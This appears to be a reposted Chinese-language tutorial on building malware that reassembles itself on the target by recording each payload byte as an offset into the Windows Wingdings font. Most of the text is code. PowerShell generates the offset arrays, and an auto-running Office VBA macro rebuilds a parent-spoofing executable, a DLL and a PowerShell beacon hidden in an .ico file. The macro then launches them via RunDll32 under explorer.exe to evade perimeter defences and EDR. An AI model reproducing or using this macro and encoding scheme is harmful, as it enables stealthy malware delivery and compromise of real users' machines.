如何利用Windows系统字体来创建恶意软件

这篇文章将为大家详细讲解有关如何利用Windows系统字体来创建恶意软件，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

步骤

在大多数情况下，一般的网络攻击需分成下面这三个步骤来进行：

1、 传递一个包含了Payload的文件，该文件需包含：

a)需要执行的恶意代码

b)或者

c)非恶意代码，因为Payload可以在第三步中下载恶意组件

2、 诱使目标用户执行Payload；

3、 接下来，Payload将会：

a)执行恶意组件

b)或者

c)下载恶意组件，然后执行

我的目标

我想要的解决方案应该满足以下几个条件：

1、 不包含任何恶意代码（甚至连恶意字节都没有），以绕过边界防护。

2、 不用下载任何恶意代码。

3、 最终执行恶意代码。

利用目标主机中的字体实现恶意软件自生成。

首先，我们需要找出每一个Windows操作系统版本都包含的一个组件，结果我找到了这个：

我对比了多个Windows版本中的Wingdings字体，然后发现这个字体在每个版本中都是一样的。

因此，我打算利用这个字体来实现我的"小"目标。应该怎么做呢？方法大致如下：

1、 在我们的主机上，收集我们恶意软件的字节数据。

2、 拿恶意软件的第一个字节跟Wingdings字体进行对比。

3、 在字体中找到了相同字节之后，在文本文件中记录它的位置。

4、 重复这个过程，直到找出恶意软件中包含的所有字节，然后在文本文件中记录下它们的位置。

5、 我们的Payload将包含每个字节所对应的Wingdings字体位置。

6、 在目标主机上，Payload将会使用Wingdings字体的位置来转换成字节数据，并构建恶意组件。

下面给出的是用来找出字节对应字体位置的PowerShell代码：

$Font= "C:\Windows\Fonts\wingding.ttf"$Malware= "C:\Users\Administrator\Pictures\2.PNG" $fontArray= Get-Content $Font -Encoding Byte -ReadCount 0$malwareArray= Get-Content $Malware -Encoding Byte -ReadCount 0$offsetArray= @()foreach($byteInMalware in $malwareArray){    $index = 0    foreach ($byteInFont in $fontArray) {       if ($byteInMalware -eq $byteInFont) {            $offsetArray += $index            break        }        $index++    }   }

PowerShell代码将生成一个VBA代码，你可以将其插入到宏文件中，这份代码会生成一个包含字节位置信息的字节数组，它将负责构建你的恶意组件：

$i=0$payload= ""$j=0$u=1$payDef= ""foreach($offsetin $offsetArray){      if($i -eq 30) {        $payload = $payload + ", " +$offset + " _`r`n"        $i=0              $j++    }    else {       if($i -eq 0) {        $payload = $payload + $offset             }       else {        $payload = $payload + ", " +$offset             }    }    if($j -eq 25)  {        $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"        $payload = ""        $u++        $j = 0    }    $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef

运行结果如下：

下面给出的VBA代码将使用我们之前所创建的字节数组来生成恶意组件。接下来，我们需要选择Explorer.exe来作为RunDll32.exe的父进程（目的是绕过EDR产品），然后通过RunDll32.exe来执行我们的恶意组件。如果你不想把文件写入磁盘的话，你可以尝试结合内存注入技术来使用。

VBA代码如下：

[...]--> you array of bytes containing the position of necessary bytes in theWindings font. 'exampleto join the bytes for the fist malicious component     t1 = cc1    t2 = cc2    t3 = cc3    t4 = cc4    t5 = cc5    t6 = cc6    t7 = cc7    t8 = cc8    t9 = cc9    t10 = cc10    t11 = cc11    t12 = cc12    t13 = cc13    t14 = cc14    t15 = cc15    t16 = cc16    t17 = cc17    t18 = cc18     ttt = Split(Join(t1, ",") &"," & Join(t2, ",") & "," & Join(t3,",") & "," & Join(t4, ",") &"," & Join(t5, ",") & "," & Join(t6,",") & "," & Join(t7, ",") &"," & Join(t8, ",") & "," & Join(t9,",") _     & "," & Join(t10,",") & "," & Join(t11, ",") &"," & Join(t12, ",") & "," &Join(t13, ",") & "," & Join(t14, ",")& "," & Join(t15, ",") & "," &Join(t16, ",") & "," & Join(t17, ",")& "," & Join(t18, ","), ",")  [...]      Dim nb As Integer    Dim nb2 As Integer    nb = UBound(ttt) - LBound(ttt) + 1 'ttt isa joined byte array    nb2 = UBound(tt) - LBound(tt) + 1    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1    Dim intFileNumber As Integer    Dim i As Integer    Dim j As Integer    Dim lngFileSize As Long    Dim lngFileSize2 As Long    Dim strBuffer As String    Dim strBuffer2 As String    Dim lngCharNumber As Long    Dim lngCharNumber2 As Long    Dim strCharacter As String * 1    Dim strCharacter2 As String * 1    Dim strFileName As String    Dim strFileName2 As String    Dim offset() As Variant           strFileName ="C:\Windows\Fonts\wingding.ttf"    intFileNumber = FreeFile    Open strFileName For Binary Access ReadShared As #intFileNumber        lngFileSize = LOF(intFileNumber)        strBuffer = Space$(lngFileSize)        Get #intFileNumber, , strBuffer    Close #intFileNumber    Dim nFileNum As Long   Dim sFilename As String   Dim ind As Long   sFilename2 ="C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary thatwill be use to select the parent of rundll32   sFilename ="C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will runpowershell beacon from an image   sFilename3 ="C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beaconregistered in an .ICO   nFileNum = FreeFile   ' a loop would be better ;-)   Open sFilename2 For Binary Lock Read WriteAs #nFileNum       For lngCharNumber = 0 To nb - 1        ind = lngCharNumber + 1        off = ttt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum     nFileNum = FreeFile   Open sFilename For Binary Lock Read Write As#nFileNum       For lngCharNumber = 0 To nb2 - 1        ind = lngCharNumber + 1        off = tt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum     nFileNum = FreeFile   Open sFilename3 For Binary Lock Read WriteAs #nFileNum       For lngCharNumber = 0 To nb3 - 1        ind = lngCharNumber + 1        off = ttttttt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum   rrEndSub Subrr()  Dim xx As String  Dim oihfasf As Object, eopuf As Object, kdjAs Object  Dim oDic As Object, a() As Variant  Dim pskaf As Integer   Set oDic =CreateObject("Scripting.Dictionary")   xx = "."   Set oihfasf =GetObject("winmgmts:\\" _      & xx & "\root\CIMV2")  Set eopuf = oihfasf.ExecQuery _      ("Select Name, ProcessID FROMWin32_Process", , 48)   For Each kdj In eopuf      If(kdj.Properties_("Name").Value) = "explorer.exe" Then          pskaf =(kdj.Properties_("ProcessID").Value)      End If  NextDim tAs Date Dimcnt As LongDimarr(2) As Byte Dimxl As Stringxl ="C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico"" " & pskafxx ="."Setow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")Setos = ow.Get("Win32_ProcessStartup")Setoc = os.SpawnInstance_Setop = GetObject("winmgmts:\\" & xx &"\root\cimv2:Win32_Process")op.Createxl, Null, oc, aslh EndSubSubAutoOpen()    ccEndSubSubWorkbook_Open()    ccEndSub

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